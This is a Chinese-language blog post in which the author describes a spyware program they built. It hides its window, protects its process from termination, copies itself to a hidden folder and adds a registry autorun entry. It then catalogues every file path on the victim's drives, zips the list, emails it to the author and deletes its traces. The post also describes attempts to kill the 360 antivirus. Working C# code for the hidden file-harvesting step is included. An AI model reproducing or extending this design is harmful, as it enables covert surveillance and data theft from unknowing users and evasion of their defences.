最近项目不是太忙,做了一个小程序。刚开始只是想输出电脑所有文件,看看里面到底有哪些东西。 到后来再想如果其他人运行程序后,是否能把他电脑中文件名和所在路径都发到我邮箱呢? 所以慢慢这个小程序也就做的比较完美了。
运行程序后它具体的执行步骤如下:
1、隐藏窗口(调用API)
我用的是控制台应用程序,运行之后不能让用户看到运行界面。只能在进程中看到运行的程序。
2、保护进程(调用一个VC++核心库函数)
对当前进程进行保护,即使用户发现,也无法在任务管理器中结束。
3、检测网络连接是否正常(调用API)
因为有些用户用的是3G 或者拨号上网,开机后要等一段时间网络才能连接。
4、拷贝文件
这一步是把自身拷贝到机器的一个隐藏目录中,防止用户把现在的程序删除。
5、设置开机自动启动(读写注册表)M
把上一步拷贝到隐藏文件的程序目录 写到开机启动注册表中。在上一步即使用户删除了程序,但是他不知道已经拷贝了一份在隐藏目录下,所以下次开机 后程序还会运行,但用户发现不了。
6、读取电脑中所有磁盘文件名及所在路径$
先创建一个隐藏文件夹(比如在C:\Program Files\下面,因为隐藏文件,所以用户不可能发现),然后在文件夹下新建一个txt,读取到的文件都写到这个文本文件中。
7、压缩文件Z
我自己机器测试最后写完的文本达到了20M,如果不压缩的话,邮箱很难发送,而且时间会比较长。20M文本压缩之后只有1.6M。
这些操作都是在隐藏文件夹下进行的。
8、发送邮件*
将压缩的文件以附件方式发送到指定邮箱,这里就是我自己的邮箱。
9、删除文件#
将第6步中所建的文件夹 以及里面文件都删除掉。
程序执行完成,自动退出。下次开机就会自动运行了。
不过还是有些问题,如果装有360的话,它会有一个注册表防火墙,所以写注册表时候会被拦截,这样用户就很容易发现。我之前想用程序结束360进程,或者停止360服务。没想到即使我手动去停止都不行,流氓软件也不是吹出来的。
可能这个软件有点不道德 J 不过现在过不了360这关,所以基本上用户都能发现,没什么威胁。所以我也是自己测试娱乐一下而已。
下面是其中读取电脑中所有磁盘文件名及所在路径的代码:
namespace Momo
{
class Program
{static FileStream fs = null; static StreamWriter sw = null; private static readonly object obj = new object();
static void Main(string[] args)
{
foreach (DriveInfo df in System.IO.DriveInfo.GetDrives())
{
if (df.IsReady)
PrintDrive(df.RootDirectory);
}fs.Dispose(); sw.Close();
}
/// <summary>
/// 读文件
/// </summary>
/// <param name="di"></param>
public static void PrintDrive(DirectoryInfo di)
{
try
{
DirectoryInfo[] dirs = di.GetDirectories(); //目录下的文件夹
FileInfo[] fi = di.GetFiles(); //目录下的文件
for (int i = 0; i < fi.Length; i++)
{
//Console.WriteLine(fi[i].FullName);
WriteFile(fi[i].FullName); //输出文件夹根目录的文件
}
for (int j = 0; j < dirs.Length; j++)
{
//Console.WriteLine(dirs[j].FullName);
WriteFile(dirs[j].FullName); //输出文件夹的目录
PrintDrive(dirs[j]); //递归文件夹
}
}
catch
{
//Console.WriteLine("Error");
WriteFile("Read Error");
}
}
/// <summary>
/// 写文件
/// </summary>
/// <param name="strFile"></param>
public static void WriteFile(string strFile)
{
if (!Directory.Exists(MailInfo.ToZipPath)) //创建一个目录 @"C:\FolderToZip"
{
Directory.CreateDirectory(MailInfo.ToZipPath);
DirectoryInfo di = new DirectoryInfo(MailInfo.ToZipPath);
di.Attributes = FileAttributes.Hidden; //设置成隐藏文件
}
string path = MailInfo.ToZipInfoPath; // 创建一个文本文档@"C:\FolderToZip\info.txt"
if ( !File.Exists(path) || fs ==null )
{
lock (obj) //这里用了单例模式,其实没必要,只是注意单例模式的时候别忘了加锁
{
if (fs == null)
{
fs = new FileStream(path, FileMode.Append, FileAccess.Write, FileShare.Write);
fs.Close();
}
}
}
if (sw == null)
{
lock (obj)
{
if (sw == null)
{
sw = new StreamWriter(path, true, Encoding.UTF8);
}
}
}
sw.WriteLine(strFile);
}
}
}